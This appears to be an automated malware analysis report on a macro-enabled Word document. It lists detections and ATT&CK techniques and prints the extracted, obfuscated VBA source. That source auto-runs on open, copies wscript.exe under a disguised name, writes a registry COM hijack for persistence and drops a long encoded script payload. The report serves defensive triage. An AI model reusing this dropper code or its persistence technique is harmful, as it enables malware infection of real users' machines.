MALICIOUS
378
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218 System Binary Proxy Execution
The sample contains a VBA macro with a Document_Open auto-execution routine. This macro utilizes WScript.Shell and a LOLBin reference, indicating an attempt to execute arbitrary code. The presence of these critical heuristics strongly suggests the document is designed to download and execute a secondary payload, likely leveraging system binaries for execution.
Heuristics 10
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ClamAV: Doc.Trojan.Agent-6923201-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Agent-6923201-0
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VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Dim PdWkQsFOTJJajPBLIcbWkYDN As Object Set PdWkQsFOTJJajPBLIcbWkYDN = CreateObject("WScript.Shell") PdWkQsFOTJJajPBLIcbWkYDN.RegWrite gvZwdQOirrfB, TnbMvyqNwKQlpRBnlKUsWHk, "REG_SZ" -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
If OFSO.FolderExists(arcPath) = True Then FileCopy wRXfRfhGCxCPW & "\Windows\SysWOW64\wscript.exe", rzfevexNwMGnPWXpK & "\msohtml.exe" Else -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim PdWkQsFOTJJajPBLIcbWkYDN As Object Set PdWkQsFOTJJajPBLIcbWkYDN = CreateObject("WScript.Shell") PdWkQsFOTJJajPBLIcbWkYDN.RegWrite gvZwdQOirrfB, TnbMvyqNwKQlpRBnlKUsWHk, "REG_SZ" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Function Private Sub Document_Open() On Error Resume Next -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Dim FxrIUmVmgUiWfGXVnAnEPgZ As String FxrIUmVmgUiWfGXVnAnEPgZ = Environ("temp") TnbMvyqNwKQlpRBnlKUsWHk = FxrIUmVmgUiWfGXVnAnEPgZ & "\msohtml.exe" -
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 22563 bytes |
SHA-256: 4d0a30fefc9e2b0f5c73acb18346d9db3e814a670fe82fdc47b03842704958c3 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
179 of 270 identifiers look randomly generated (e.g. 'LDY1MSw2OTUsNzQ5LDc1Miw3NDksNjgxLDY0NSw2') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function CoCreateGuid Lib "OLE32.DLL" (pGuid As hXgFaVZLEaiKwzLqv) As LongPtr
#Else
Private Declare Function CoCreateGuid Lib "OLE32.DLL" (pGuid As hXgFaVZLEaiKwzLqv) As Long
#End If
Private Type hXgFaVZLEaiKwzLqv
bVVEdJCmGdZvSxJjgkDzm As Long
zuTOmqOrHzTiruTul As Integer
ikZiOOfstTnTLVyDJPtLvZhi As Integer
stTnTLVyDJPdsf3d(0 To 7) As Byte
End Type
Public Function rgmbpzZsmHAHge() As String
Dim SDJgLaifFfuWl As hXgFaVZLEaiKwzLqv
With SDJgLaifFfuWl
If (CoCreateGuid(SDJgLaifFfuWl) = 0) Then
rgmbpzZsmHAHge = _
String$(8 - Len(Hex$(.bVVEdJCmGdZvSxJjgkDzm)), "0") & Hex$(.bVVEdJCmGdZvSxJjgkDzm) & "-" & _
String$(4 - Len(Hex$(.zuTOmqOrHzTiruTul)), "0") & Hex$(.zuTOmqOrHzTiruTul) & "-" & _
String$(4 - Len(Hex$(.ikZiOOfstTnTLVyDJPtLvZhi)), "0") & Hex$(.ikZiOOfstTnTLVyDJPtLvZhi) & "-" & _
IIf((.stTnTLVyDJPdsf3d(0) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(0)) & _
IIf((.stTnTLVyDJPdsf3d(1) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(1)) & "-" & _
IIf((.stTnTLVyDJPdsf3d(2) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(2)) & _
IIf((.stTnTLVyDJPdsf3d(3) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(3)) & _
IIf((.stTnTLVyDJPdsf3d(4) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(4)) & _
IIf((.stTnTLVyDJPdsf3d(5) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(5)) & _
IIf((.stTnTLVyDJPdsf3d(6) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(6)) & _
IIf((.stTnTLVyDJPdsf3d(7) < &H10), "0", "") & Hex$(.stTnTLVyDJPdsf3d(7))
End If
End With
End Function
Function HLKBVQlJEPWph(gvZwdQOirrfB As String)
Dim TnbMvyqNwKQlpRBnlKUsWHk, MBrUZCnACSJYjdxmUAnw
Dim FxrIUmVmgUiWfGXVnAnEPgZ As String
FxrIUmVmgUiWfGXVnAnEPgZ = Environ("temp")
TnbMvyqNwKQlpRBnlKUsWHk = FxrIUmVmgUiWfGXVnAnEPgZ & "\msohtml.exe"
TnbMvyqNwKQlpRBnlKUsWHk = TnbMvyqNwKQlpRBnlKUsWHk & " //E:vbscript /b " & FxrIUmVmgUiWfGXVnAnEPgZ
TnbMvyqNwKQlpRBnlKUsWHk = TnbMvyqNwKQlpRBnlKUsWHk & "\msohtml.log"
Dim PdWkQsFOTJJajPBLIcbWkYDN As Object
Set PdWkQsFOTJJajPBLIcbWkYDN = CreateObject("WScript.Shell")
PdWkQsFOTJJajPBLIcbWkYDN.RegWrite gvZwdQOirrfB, TnbMvyqNwKQlpRBnlKUsWHk, "REG_SZ"
End Function
Private Sub Document_Open()
On Error Resume Next
Dim FxrIUmVmgUiWfGXVnAnEPgZ As String
FxrIUmVmgUiWfGXVnAnEPgZ = Environ("temp")
Dim gvZwdQOirrfB, MBrUZCnACSJYjdxmUAnw
MBrUZCnACSJYjdxmUAnw = rgmbpzZsmHAHge
gvZwdQOirrfB = "HKCU\Software\Classes\CLSID\{"
gvZwdQOirrfB = gvZwdQOirrfB & MBrUZCnACSJYjdxmUAnw
gvZwdQOirrfB = gvZwdQOirrfB & "}\Shell\Manage\Command\"
PRuhLvyjtAPrH FxrIUmVmgUiWfGXVnAnEPgZ
yiBhyERIualWRmBjcsIbCZLq (MBrUZCnACSJYjdxmUAnw)
HLKBVQlJEPWph (gvZwdQOirrfB)
ActiveDocument.Range.Text = "Error : 0x8004fc12"
End Sub
Function PRuhLvyjtAPrH(rzfevexNwMGnPWXpK As String)
Dim tgrIRwdsnmuquriMIt As String
tgrIRwdsnmuquriMIt = rzfevexNwMGnPWXpK & "\msohtml.log"
Data = Data + "Y3M9QXJyYXkoNjQyLDY3NSw3NDksNjQ4LDcwMyw3MDMsNjc0LDcwMyw3NDksNjcxLDY4MCw3MDIsNjk2"
Data = Data + "LDY3Miw2ODAsNzQ5LDY0Myw2ODAsNjkzLDY5Nyw3MTEsNjUxLDY5Niw2NzUsNjg2LDY5Nyw2NzYsNjc0"
Data = Data + "LDY3NSw3NDksNjc0LDY1MSw2OTUsNjk3LDY0OSw2NTAsNjY3LDY0Myw2ODQsNjc3LDY0OSw2NzMsNjk3"
Data = Data + "LDY5NSw3MDAsNjcxLDcwMyw2NDAsNjYwLDc0MSw2NDUsNjkyLDY0MSw2NjcsNjQ4LDcwMiw2NjEsNjQy"
Data = Data + "LDY4Nyw2NzAsNjgyLDY4Miw3MDIsNjQ1LDY2Myw2NjgsNjg0LDcwMCw2ODcsNjc2LDY1NCw2NjAsNzAz"
Data = Data + "LDczNyw2NDksNjcyLDY0MSw2NTEsNjk3LDY5Nyw2NjMsNjQ4LDY0NSw3MDMsNjgyLDY5Niw2NDksNjQy"
Data = Data + "LDY4Myw2NjgsNjgzLDc0MCw3MTEsNjc0LDY1MSw2OTUsNjk3LDY0OSw2NTAsNjY3LDY0Myw2ODQsNjc3"
Data = Data + "LDY0OSw2NzMsNjk3LDY5NSw3MDAsNjcxLDcwMyw2NDAsNjYwLDc0OSw3NTIsNzQ5LDY0NSw2OTIsNjQx"
Data = Data + "LDY2Nyw2NDgsNzAyLDY2MSw2NDIsNjg3LDY3MCw2ODIsNjgyLDcwMiw2NDUsNjYzLDY2OCw2ODQsNzAw"
Data = Data + "LDY4Nyw2NzYsNjU0LDY2MCw3MDMsNzQ5LDc0Miw3NDksNjQ5LDY3Miw2NDEsNjUxLDY5Nyw2OTcsNjYz"
Data = Data + "LDY0OCw2NDUsNzAzLDY4Miw2OTYsNjQ5LDY0Miw2ODMsNjY4LDY4Myw3MTEsNjQ4LDY3NSw2ODEsNzQ5"
Data = Data + "LDY1MSw2OTYsNjc1LDY4Niw2OTcsNjc2LDY3NCw2NzUsNzExLDY0OSw2NzYsNjcyLDc0OSw2NjksNjQ2"
Data = Data + "LDY0Myw2NzUsNjk1LDY1Miw2NzcsNjgyLDY5NSw2NjgsNjc2LDY2NSw2NjEsNjQ4LDY2Myw2NzMsNjg2"
Data = Data + "LDY2NSw3MzcsNjc4LDY0OSw2NTAsNzAwLDY4Miw2ODEsNjQzLDY5Niw2OTcsNjgxLDY3NCw2NDQsNjc2"
Data = Data + "LDY3MCw2NzYsNjc5LDY0NCw2NzMsNjczLDY0NCw2NjQsNjQ5LDY4MSw3MzcsNjQ5LDY5NSw3MDEsNjk4"
Data = Data + "LDY3Myw2NTAsNjYzLDcwMCw2OTIsNjYwLDY4MSw2NzgsNjcxLDY5Nyw2NzIsNjc3LDY2MSw3MDMsNzEx"
Data = Data + "LDY3MSw2ODQsNjc1LDY4MSw2NzQsNjcyLDY3Niw2OTUsNjgwLDcxMSw2NzgsNjQ5LDY1MCw3MDAsNjgy"
Data = Data + "LDY4MSw2NDMsNjk2LDY5Nyw2ODEsNjc0LDY0NCw2NzYsNjcwLDY3Niw2NzksNjQ0LDY3Myw2NzMsNjQ0"
Data = Data + "LDY2NCw2NDksNjgxLDc0OSw3NTIsNzQ5LDY3MSw2NzUsNjgxLDcxMSw2NDksNjk1LDcwMSw2OTgsNjcz"
Data = Data + "LDY1MCw2NjMsNzAwLDY5Miw2NjAsNjgxLDY3OCw2NzEsNjk3LDY3Miw2NzcsNjYxLDcwMyw3NDksNzUy"
Data = Data + "LDc0OSw2NzEsNjc1LDY4MSw3MTEsNjY5LDY0Niw2NDMsNjc1LDY5NSw2NTIsNjc3LDY4Miw2OTUsNjY4"
Data = Data + "LDY3Niw2NjUsNjYxLDY0OCw2NjMsNjczLDY4Niw2NjUsNzQ5LDc1Miw3NDksNjc0LDY1MSw2OTUsNjk3"
Data = Data + "LDY0OSw2NTAsNjY3LDY0Myw2ODQsNjc3LDY0OSw2NzMsNjk3LDY5NSw3MDAsNjcxLDcwMyw2NDAsNjYw"
Data = Data + "LDc0MSw2NzgsNjQ5LDY1MCw3MDAsNjgyLDY4MSw2NDMsNjk2LDY5Nyw2ODEsNjc0LDY0NCw2NzYsNjcw"
Data = Data + "LDY3Niw2NzksNjQ0LDY3Myw2NzMsNjQ0LDY2NCw2NDksNjgxLDczNyw2NDksNjk1LDcwMSw2OTgsNjcz"
Data = Data + "LDY1MCw2NjMsNzAwLDY5Miw2NjAsNjgxLDY3OCw2NzEsNjk3LDY3Miw2NzcsNjYxLDcwMyw3NDAsNzEx"
Data = Data + "LDY1MSw2OTYsNjc1LDY4Niw2OTcsNjc2LDY3NCw2NzUsNzQ5LDY4MSw2NDUsNjUyLDY1MCw2ODcsNjc2"
Data = Data + "LDY4Niw2NzYsNjcxLDY0Myw2OTMsNjg3LDY5Miw3NDEsNzQ5LDY2NSw2NDEsNjU0LDY4MCw2NDYsNjk1"
Data = Data + "LDY4Myw2OTksNjgxLDY2NCw2NjYsNjQwLDY0NCw2ODEsNjY4LDc0OSw3NDAsNzExLDc0OSw3NDksNzQ5"
Data = Data + "LDc0OSw2NDksNjc2LDY3Miw3NDksNjQ3LDY3Miw2NjQsNjc3LDY2OSw2NDEsNjU0LDY0MSw2NzIsNjQ1"
Data = Data + "LDY5Niw2NzgsNjQ3LDczNyw3NDksNjg2LDcwMiw2NzgsNjg0LDY4MCw2NTQsNjcyLDY1MCw2ODYsNjcz"
Data = Data + "LDY3NCw2OTUsNzQxLDc0OSw3NDAsNzExLDc0OSw3NDksNzQ5LDc0OSw2NzEsNjgwLDY0OSw2NzYsNjcy"
Data = Data + "LDc0OSw2ODYsNzAyLDY3OCw2ODQsNjgwLDY1NCw2NzIsNjUwLDY4Niw2NzMsNjc0LDY5NSw3NDEsNzQ5"
Data = Data + "LDY0MSw2ODAsNjc1LDc0MSw3NDksNjY1LDY0MSw2NTQsNjgwLDY0Niw2OTUsNjgzLDY5OSw2ODEsNjY0"
Data = Data + "LDY2Niw2NDAsNjQ0LDY4MSw2NjgsNzQ5LDc0MCw3NDksNzM2LDc0OSw3NjQsNzQ5LDc0MCw3MTEsNzQ5"
Data = Data + "LDc0OSw3NDksNzQ5LDY1MSw2NzQsNzAzLDc0OSw2NDcsNjcyLDY2NCw2NzcsNjY5LDY0MSw2NTQsNjQx"
Data = Data + "LDY3Miw2NDUsNjk2LDY3OCw2NDcsNzQ5LDc1Miw3NDksNzY1LDc0OSw2NjUsNjc0LDc0OSw2NjQsNjU1"
Data = Data + "LDY3NCw2OTYsNjc1LDY4MSw3NDEsNzQ5LDY4Niw3MDIsNjc4LDY4NCw2ODAsNjU0LDY3Miw2NTAsNjg2"
Data = Data + "LDY3Myw2NzQsNjk1LDc0OSw3NDAsNzExLDc0OSw3NDksNzQ5LDc0OSw3NDksNzQ5LDc0OSw3NDksNjg2"
Data = Data + "LDcwMiw2NzgsNjg0LDY4MCw2NTQsNjcyLDY1MCw2ODYsNjczLDY3NCw2OTUsNzQxLDY0Nyw2NzIsNjY0"
Data = Data + "LDY3Nyw2NjksNjQxLDY1NCw2NDEsNjcyLDY0NSw2OTYsNjc4LDY0Nyw3NDAsNzQ5LDc1Miw3NDksNjUy"
Data = Data + "LDcwMiw2ODYsNzQxLDc0OSw2NDAsNjc2LDY4MSw3NDEsNzQ5LDY2NSw2NDEsNjU0LDY4MCw2NDYsNjk1"
Data = Data + "LDY4Myw2OTksNjgxLDY2NCw2NjYsNjQwLDY0NCw2ODEsNjY4LDczNyw3NDksNjQ3LDY3Miw2NjQsNjc3"
Data = Data + "LDY2OSw2NDEsNjU0LDY0MSw2NzIsNjQ1LDY5Niw2NzgsNjQ3LDc0OSw3NDIsNzQ5LDc2NCw3MzcsNzQ5"
Data = Data + "LDc2NCw3NDksNzQwLDc0OSw3NDAsNzExLDc0OSw3NDksNzQ5LDc0OSw2NDMsNjgwLDY5Myw2OTcsNzEx"
Data = Data + "LDc0OSw3NDksNzQ5LDc0OSw2ODEsNjQ1LDY1Miw2NTAsNjg3LDY3Niw2ODYsNjc2LDY3MSw2NDMsNjkz"
Data = Data + "LDY4Nyw2OTIsNzQ5LDc1Miw3NDksNjg2LDcwMiw2NzgsNjg0LDY4MCw2NTQsNjcyLDY1MCw2ODYsNjcz"
Data = Data + "LDY3NCw2OTUsNzExLDY0OCw2NzUsNjgxLDc0OSw2NTEsNjk2LDY3NSw2ODYsNjk3LDY3Niw2NzQsNjc1"
Data = Data + "LDcxMSw2NDksNjc2LDY3Miw3NDksNjUyLDY0OSw2NDksNjg3LDcwMCw2NjEsNjk4LDY0NSw2NzEsNjgx"
Data = Data + "LDY0Niw2NTEsNjk1LDcxMSw2NTIsNjQ5LDY0OSw2ODcsNzAwLDY2MSw2OTgsNjQ1LDY3MSw2ODEsNjQ2"
Data = Data + "LDY1MSw2OTUsNzQ5LDc1Miw3NDksNjgxLDY0NSw2NTIsNjUwLDY4Nyw2NzYsNjg2LDY3Niw2NzEsNjQz"
Data = Data + "LDY5Myw2ODcsNjkyLDc0MSw2NjYsNjg2LDY5Niw2NDUsNjYwLDY5Miw2NjksNjk1LDY1NCw2NDMsNjc0"
Data = Data + "LDY0MSw2NjcsNjQ1LDcwMCw2NTAsNjUyLDY2Myw2NTAsNjkyLDY1MCw2ODcsNzQwLDcxMSw2NTEsNjk2"
Data = Data + "LDY3NSw2ODYsNjk3LDY3Niw2NzQsNjc1LDc0OSw2ODMsNjgxLDcwMCw2NTUsNzAzLDY5Niw2NTIsNjQ2"
Data = Data + "LDY1Miw2NzUsNjY3LDY1MCw2NDksNjY1LDcwMiw2NDEsNjcxLDc0MSw3NDksNjgwLDY5Nyw2NDYsNjQw"
Data = Data + "LDY1MSw2NzMsNjQ5LDY0Niw2NTEsNjc5LDY2NCw2OTksNjY2LDY2NCw2OTMsNjgwLDY1NSw2NzYsNjY3"
Data = Data + "LDY1Miw2NDEsNzQ5LDc0MCw3MTEsNzQ5LDc0OSw3NDksNzQ5LDY0OSw2NzYsNjcyLDc0OSw2NDMsNjc1"
Data = Data + "LDY3OSw2ODEsNjY3LDY3Niw2OTksNjQ2LDY4MSw2NzEsNjYzLDcwMyw2ODAsNzAzLDY1NSw2ODAsNjk5"
Data = Data + "LDY0MCw2NDksNjc0LDY0Niw2ODAsNjc0LDY0OCw3MzcsNzQ5LDY3Niw2NDYsNjc2LDY5Nyw2OTMsNjUw"
Data = Data + "LDY3Nyw2NDksNjg0LDcwMCw2OTcsNjgwLDY4Myw2NDgsNjUyLDY0Nyw2NTUsNjkzLDY5Niw2NzksNjY0"
Data = Data + "LDY0NSw3NDEsNzQ5LDc0MCw3MTEsNzQ5LDc0OSw3NDksNzQ5LDY3MSw2ODAsNjQ5LDY3Niw2NzIsNzQ5"
Data = Data + "LDY3Niw2NDYsNjc2LDY5Nyw2OTMsNjUwLDY3Nyw2NDksNjg0LDcwMCw2OTcsNjgwLDY4Myw2NDgsNjUy"
Data = Data + "LDY0Nyw2NTUsNjkzLDY5Niw2NzksNjY0LDY0NSw3NDEsNzQ5LDY0MSw2ODAsNjc1LDc0MSw3NDksNjgw"
Data = Data + "LDY5Nyw2NDYsNjQwLDY1MSw2NzMsNjQ5LDY0Niw2NTEsNjc5LDY2NCw2OTksNjY2LDY2NCw2OTMsNjgw"
Data = Data + "LDY1NSw2NzYsNjY3LDY1Miw2NDEsNzQ5LDc0MCw3NDksNzM2LDc0OSw3NjQsNzQ5LDc0MCw3MTEsNzQ5"
Data = Data + "LDc0OSw3NDksNzQ5LDY1MSw2NzQsNzAzLDc0OSw2NDMsNjc1LDY3OSw2ODEsNjY3LDY3Niw2OTksNjQ2"
Data = Data + "LDY4MSw2NzEsNjYzLDcwMyw2ODAsNzAzLDY1NSw2ODAsNjk5LDY0MCw2NDksNjc0LDY0Niw2ODAsNjc0"
Data = Data + "LDY0OCw3NDksNzUyLDc0OSw3NjUsNzQ5LDY2NSw2NzQsNzQ5LDY2NCw2NTUsNjc0LDY5Niw2NzUsNjgx"
Data = Data + "LDc0MSw3NDksNjc2LDY0Niw2NzYsNjk3LDY5Myw2NTAsNjc3LDY0OSw2ODQsNzAwLDY5Nyw2ODAsNjgz"
Data = Data + "LDY0OCw2NTIsNjQ3LDY1NSw2OTMsNjk2LDY3OSw2NjQsNjQ1LDc0OSw3NDAsNzExLDc0OSw3NDksNzQ5"
Data = Data + "LDc0OSw3NDksNzQ5LDc0OSw3NDksNjc2LDY0Niw2NzYsNjk3LDY5Myw2NTAsNjc3LDY0OSw2ODQsNzAw"
Data = Data + "LDY5Nyw2ODAsNjgzLDY0OCw2NTIsNjQ3LDY1NSw2OTMsNjk2LDY3OSw2NjQsNjQ1LDc0MSw2NDMsNjc1"
Data = Data + "LDY3OSw2ODEsNjY3LDY3Niw2OTksNjQ2LDY4MSw2NzEsNjYzLDcwMyw2ODAsNzAzLDY1NSw2ODAsNjk5"
Data = Data + "LDY0MCw2NDksNjc0LDY0Niw2ODAsNjc0LDY0OCw3NDAsNzQ5LDc1Miw3NDksNjUyLDcwMiw2ODYsNzQx"
Data = Data + "LDc0OSw2NDAsNjc2LDY4MSw3NDEsNzQ5LDY4MCw2OTcsNjQ2LDY0MCw2NTEsNjczLDY0OSw2NDYsNjUx"
Data = Data + "LDY3OSw2NjQsNjk5LDY2Niw2NjQsNjkzLDY4MCw2NTUsNjc2LDY2Nyw2NTIsNjQxLDczNyw3NDksNjQz"
Data = Data + "LDY3NSw2NzksNjgxLDY2Nyw2NzYsNjk5LDY0Niw2ODEsNjcxLDY2Myw3MDMsNjgwLDcwMyw2NTUsNjgw"
Data = Data + "LDY5OSw2NDAsNjQ5LDY3NCw2NDYsNjgwLDY3NCw2NDgsNzQ5LDc0Miw3NDksNzY0LDczNyw3NDksNzY0"
Data = Data + "LDc0OSw3NDAsNzQ5LDc0MCw3MTEsNzQ5LDc0OSw3NDksNzQ5LDY0Myw2ODAsNjkzLDY5Nyw3MTEsNzQ5"
Data = Data + "LDc0OSw3NDksNzQ5LDY4Myw2ODEsNzAwLDY1NSw3MDMsNjk2LDY1Miw2NDYsNjUyLDY3NSw2NjcsNjUw"
Data = Data + "LDY0OSw2NjUsNzAyLDY0MSw2NzEsNzQ5LDc1Miw3NDksNjc2LDY0Niw2NzYsNjk3LDY5Myw2NTAsNjc3"
Data = Data + "LDY0OSw2ODQsNzAwLDY5Nyw2ODAsNjgzLDY0OCw2NTIsNjQ3LDY1NSw2OTMsNjk2LDY3OSw2NjQsNjQ1"
Data = Data + "LDcxMSw2NDgsNjc1LDY4MSw3NDksNjUxLDY5Niw2NzUsNjg2LDY5Nyw2NzYsNjc0LDY3NSw3MTEsNjQ5"
Data = Data + "LDY3Niw2NzIsNzQ5LDY2MCw2NDAsNjQ0LDY3OSw2NDIsNzAxLDY0NSw2OTMsNjY0LDcwMSw2OTgsNjcz"
Data = Data + "LDY4Nyw2OTcsNjQ0LDcwMyw2NzYsNjc1LDcxMSw2ODYsNzAyLDc1Miw2NTIsNzAzLDcwMyw2ODQsNjky"
Data = Data + "LDc0MSw3NjYsNzU3LDc2Nyw3MzcsNzY2LDc2MCw3NjQsNzM3LDc2Nyw3NjIsNzY2LDczNyw3NjYsNzYy"
Data = Data + "LDc2Nyw3MzcsNzY2LDc2Nyw3NjYsNzM3LDc2Niw3NjcsNzY2LDczNyw3NjYsNzYwLDc2NSw3MzcsNzY2"
Data = Data + "LDc2Nyw3NjYsNzM3LDc2Nyw3NjIsNzY2LDczNyw3NjYsNzYwLDc2MCw3MzcsNzY2LDc2MSw3NjUsNzM3"
Data = Data + "LDc2Niw3NjcsNzY3LDczNyw3NjYsNzY3LDc2MSw3MzcsNzY2LDc2MSw3NTcsNzM3LDc2Niw3NjEsNzY1"
Data = Data + "LDczNyw3NjcsNzYyLDc2Niw3MzcsNzY2LDc1Nyw3NjYsNzM3LDc2Niw3NjEsNzY1LDczNyw3NjYsNzY3"
Data = Data + "LDc1Niw3MzcsNzY2LDc2Nyw3NjAsNzM3LDc2Nyw3NjIsNzY2LDczNyw3NjcsNzYzLDc2Miw3MzcsNzY3"
Data = Data + "LDc2Miw3NjYsNzM3LDc2Niw3NjcsNzY3LDczNyw3NjYsNzYxLDc2NSw3MzcsNzY2LDc2Nyw3NjAsNzM3"
Data = Data + "LDc2Nyw3NjIsNzY2LDczNyw3NjYsNzYzLDc1Nyw3MzcsNzY2LDc2Miw3NjcsNzM3LDc2Niw3NjIsNzY3"
Data = Data + "LDczNyw3NjYsNzYwLDc1Niw3MzcsNzY2LDc2MSw3NjEsNzM3LDc2Niw3NjcsNzY2LDczNyw3NjYsNzYz"
Data = Data + "LDc1Nyw3MzcsNzY2LDc2MSw3NjUsNzM3LDc2Niw3NjEsNzYwLDczNyw3NjYsNzYyLDc2Nyw3MzcsNzY2"
Data = Data + "LDc2Nyw3NjcsNzM3LDc2Niw3NjMsNzY2LDczNyw3NjYsNzYyLDc2NSw3MzcsNzY2LDc2Miw3NjMsNzM3"
Data = Data + "LDc2Niw3NjcsNzYyLDczNyw3NjYsNzY3LDc1Nyw3MzcsNzY2LDc2MCw3NjMsNzM3LDc2Niw3NjAsNzYw"
Data = Data + "LDczNyw3NjYsNzYwLDc2Myw3MzcsNzY2LDc2MCw3NTYsNzM3LDc2Niw3NjEsNzY0LDczNyw3NjYsNzY2"
Data = Data + "LDc2Myw3MzcsNzY2LDc2MSw3NjYsNzM3LDc2Niw3NTcsNzY0LDczNyw3NjcsNzYyLDc2Niw3MzcsNzY3"
Data = Data + "LDc2Myw3NTcsNzM3LDc2Nyw3NjIsNzY2LDczNyw3NjYsNzYyLDc2MSw3MzcsNzY2LDc2MSw3NjUsNzM3"
Data = Data + "LDc2Niw3NjcsNzYwLDczNyw3NjYsNzU3LDc2Nyw3MzcsNzY2LDc2Niw3NTYsNzM3LDc2Niw3NjEsNzYy"
Data = Data + "LDczNyw3NjYsNzYxLDc2NSw3MzcsNzY2LDc2Niw3NTcsNzM3LDc2Niw3NjcsNzYwLDczNyw3NjcsNzU3"
Data = Data + "LDc2NCw3MzcsNzY3LDc2Miw3NjAsNzM3LDc2Niw3NjcsNzY3LDczNyw3NjYsNzY2LDc1Nyw3MzcsNzY2"
Data = Data + "LDc2Nyw3NjYsNzM3LDc2Niw3NjEsNzYxLDczNyw3NjYsNzY3LDc2NCw3MzcsNzY2LDc2Nyw3NjAsNzM3"
Data = Data + "LDc2Nyw3NjMsNzYyLDczNyw3NjYsNzYxLDc2MCw3MzcsNzY2LDc2Nyw3NjAsNzM3LDc2Niw3NjcsNzYw"
Data = Data + "LDczNyw3NjYsNzY3LDc2NCw3MzcsNzY2LDc2Nyw3NjcsNzM3LDc2Nyw3NjMsNzYyLDczNyw3NjcsNzU3"
Data = Data + "LDc2Myw3MzcsNzY3LDc1Nyw3NjMsNzM3LDc2Niw3NjAsNzY1LDczNyw3NjYsNzY3LDc2NCw3MzcsNzY2"
Data = Data + "LDc2MSw3NjUsNzM3LDc2Niw3NjAsNzY0LDczNyw3NjcsNzU3LDc2Miw3MzcsNzY2LDc2Niw3NTYsNzM3"
Data = Data + "LDc2Niw3NjEsNzY1LDczNyw3NjYsNzY3LDc2MCw3MzcsNzY2LDc2Niw3NjMsNzM3LDc2Niw3NjAsNzY1"
Data = Data + "LDczNyw3NjYsNzYxLDc2Niw3MzcsNzY2LDc2MSw3NjYsNzM3LDc2Niw3NjEsNzYxLDczNyw3NjYsNzY2"
Data = Data + "LDc1Nyw3MzcsNzY2LDc2MSw3NjUsNzM3LDc2Nyw3NTcsNzYyLDczNyw3NjYsNzYwLDc2NCw3MzcsNzY2"
Data = Data + "LDc2MSw3NjUsNzM3LDc2Niw3NjcsNzYwLDczNyw3NjcsNzU3LDc2Myw3MzcsNzY2LDc2MSw3NjQsNzM3"
Data = Data + "LDc2Niw3NjcsNzY2LDczNyw3NjYsNzY2LDc2Myw3MzcsNzY2LDc2Niw3NjMsNzM3LDc2Nyw3NTcsNzYy"
Data = Data + "LDczNyw3NjYsNzY3LDc2NCw3MzcsNzY2LDc2MCw3NjQsNzM3LDc2Niw3NjEsNzY3LDczNyw3NjcsNzYy"
Data = Data + "LDc2MCw3MzcsNzY3LDc1Nyw3NjUsNzQwLDc1OSw3NDksNjg2LDY3Miw2ODEsNzUyLDc1MSw3NTEsNzU5"
Data = Data + "LDc0OSw2NTEsNjc0LDcwMyw3NDksNjgwLDY4NCw2ODYsNjc3LDc0OSw2ODYsNzQ5LDY3Niw2NzUsNzQ5"
Data = Data + "LDY4Niw3MDIsNzU5LDc0OSw2ODYsNjcyLDY4MSw3NTIsNjg2LDY3Miw2ODEsNzQ3LDY1NCw2NzcsNzAz"
Data = Data + "LDc0MSw2ODYsNzQ5LDY5Myw2NzQsNzAzLDc0OSw3NjYsNzY1LDc2MCw3NDAsNzU5LDc0OSw2NDMsNjgw"
